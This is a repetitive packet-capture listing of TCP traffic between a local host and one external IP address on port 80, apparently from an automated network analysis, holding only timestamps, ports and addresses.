Aug 4, 2024 12:55:10.762531042 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.762557983 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.764770985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.764820099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.764834881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.764856100 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.764925957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.764961004 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.765028000 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.765043974 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.765058994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.765077114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.767185926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.767230034 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.767268896 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.767285109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.767298937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.767321110 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.767412901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.767429113 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.767445087 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.767457008 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.767477036 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.767477989 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.773663998 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.773689032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.773704052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.773718119 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.773747921 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.773808956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.773823977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.773865938 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.773932934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.773947954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.773986101 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.779330015 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.779392004 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.779407024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.779434919 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.779525042 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.779541016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.779556036 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.779570103 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.779592991 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.779654980 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.783937931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.783962011 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.783977032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.783987045 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.784018993 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.784111023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.784126043 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.784142017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.784157991 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.784166098 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.784197092 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.790307999 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.790395021 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.790406942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.790445089 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.790476084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.790492058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.790518045 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.790580988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.790596962 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.790611982 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.790623903 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.790657043 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.794244051 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.794269085 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.794282913 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.794307947 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.794397116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.794411898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.794426918 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.794442892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.794450045 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.794467926 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.794621944 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.794667959 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.801136971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.801197052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.801211119 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.801235914 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.801332951 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.801348925 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.801363945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.801381111 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.801381111 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.801394939 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.802587986 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.802613974 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.802628994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.802629948 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.802671909 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.802762032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.802777052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.802820921 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.802866936 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.802961111 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.803004026 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.804932117 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.804970980 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.804986954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.805016041 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.805069923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.805103064 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.805115938 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.805197001 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.805212975 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.805226088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.805241108 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.805263996 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.815212965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.815259933 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.815299988 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.815313101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.815386057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.815397024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.815433979 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.815479994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.815521002 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.815556049 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.815566063 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.815599918 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.824069023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.824105024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.824136972 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.824143887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.824209929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.824246883 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.824260950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.824270010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.824304104 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.824376106 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.824409962 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.824445009 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.840291023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840318918 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840327978 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840356112 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.840487957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840497971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840507984 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840518951 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840527058 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.840548992 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.840708971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840718985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840729952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840739012 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840745926 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.840760946 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.840938091 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840948105 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840958118 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.840972900 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.841001034 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.843283892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.843306065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.843317032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.843349934 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.843432903 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.843442917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.843453884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.843462944 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.843471050 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.843588114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.850091934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.850101948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.850111961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.850147963 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.850209951 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.850259066 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.850333929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.850344896 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.850354910 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.850378990 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.852452993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.852507114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.852518082 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.852529049 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.852562904 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.852664948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.852675915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.852710962 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.852766037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.852777004 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.852811098 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.855209112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.855252981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.855268002 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.855295897 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.855385065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.855395079 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.855405092 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.855415106 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.855428934 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.855458975 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.862327099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.862374067 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.862380028 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.862385988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.862426996 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.862504005 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.862519979 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.862550974 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.862597942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.862607956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.862649918 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.867630959 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.867677927 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.867716074 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.867736101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.867746115 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.867779970 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.867913961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.867923975 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.867959976 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.868037939 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.871604919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.871613979 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.871623039 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.871650934 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.871669054 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.872030020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.872040987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.872075081 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.872093916 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.872104883 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.872113943 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.872139931 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.878578901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.878588915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.878598928 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.878618956 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.878634930 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.878705025 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.878715038 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.878725052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.878735065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.878753901 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.878784895 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.893795013 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.893846035 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.893856049 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.893910885 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.893970966 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.893980980 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.893990993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.893996000 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894016981 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.894037962 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.894328117 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894340038 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894350052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894359112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894367933 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894377947 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894378901 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.894387960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894398928 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.894422054 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.894422054 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.894679070 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894690037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894700050 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894709110 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894718885 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894725084 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.894728899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.894751072 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.894763947 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.898622036 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.898713112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.898725033 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.898760080 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.898849010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.898860931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.898873091 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.898884058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.898900986 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.898931980 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.909459114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.909522057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.909522057 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.909535885 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.909574986 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.909596920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.909607887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.909646988 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.909673929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.909686089 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.909723997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.914084911 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.914114952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.914124012 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.914150000 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.914246082 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.914259911 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.914271116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.914288044 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.914310932 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.914360046 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933253050 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933264017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933275938 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933286905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933299065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933310032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933320999 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933403969 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933408022 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.933408022 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.933408976 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.933415890 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933428049 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933444023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933455944 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933463097 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.933468103 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933475971 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.933480024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.933504105 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.939601898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.939614058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.939624071 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.939646006 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.939660072 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.939685106 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.939696074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.939704895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.939713955 CEST	80	49709	39.97.203.40	192.168.2.5
